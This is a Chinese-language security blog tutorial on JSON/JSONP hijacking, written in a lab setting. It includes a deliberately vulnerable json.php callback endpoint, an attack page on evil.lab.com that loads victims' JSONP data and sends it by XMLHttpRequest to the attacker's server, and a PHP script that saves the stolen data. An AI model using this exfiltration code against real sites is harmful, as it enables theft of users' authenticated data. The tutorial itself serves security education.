WEB安全之:Json 劫持

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

1 利用条件

  • 返回敏感的数据
  • 返回一个JSON数组
  • 响应一个GET请求
  • 发送请求的浏览器启用了 JavaScript
  • 发送请求的浏览器支持 __defineSetter__ 方法

2 攻击流程

  1. 用户浏览器上保存了 HTTP 的身份认证信息和相关的cookie缓存
  2. 用户点击了恶意的链接,此时用户的浏览器会向恶意的网站发送 GET 请求
  3. 恶意网站响应用户的请求并返回恶意 JavaScript 语句,当用户的浏览器运行这些 JavaScript 语句时,它就会执行这段代码,访问目标网站,并将数据发送给恶意网站
  4. 恶意网站处理收到的 Json 数据

3 实例

3.1 收集信息

查找存在 json 类型页面:构造 json 类型页面 json.php

<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","username" : "user01","email":"user01@lab.com"});';
?>

3.2 恶意服务器构造恶意页面

恶意服务器,evil.lab.com

3.2.1 测试恶意服务器是否能正常获取 Json 数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>json 数据获取测试</title>
    <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>function get_json(data){alert(JSON.stringify(data));}</script>
<script src="http://json.lab.com/json.php?callback=get_json"></script>
</body>
</html>

3.2.2 劫持 Json 数据

构造诱使用户点击的页面,evil.lab.com/json_hijack.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>json hijack</title>
		<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function json_hijack(data){
    var xmlhttp = new XMLHttpRequest();
    var url = "http://evil.lab.com/save_json.php?file=" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }
</script>
<script src="http://json.lab.com/json.php?callback=json_hijack"></script>
</head>
	<body>
	</body>
</html>

3.2.3 恶意服务器处理接收的 Json 数据

save_json.php 用于保存劫持的 json 数据

<?php
if($_GET['file']){
	file_put_contents('json.txt',$_GET['file']);
}
?>

3.3 诱便用户点击

当用户点击 evil.lab.com/json_hijack.html 后,会将数据发送到远程的恶意服务器上,调用 save_json.php ,将接收的数据保存并生成 json.txt

posted @ 2021-07-08 21:25  f_carey  阅读(29)  评论(0编辑  收藏  举报  来源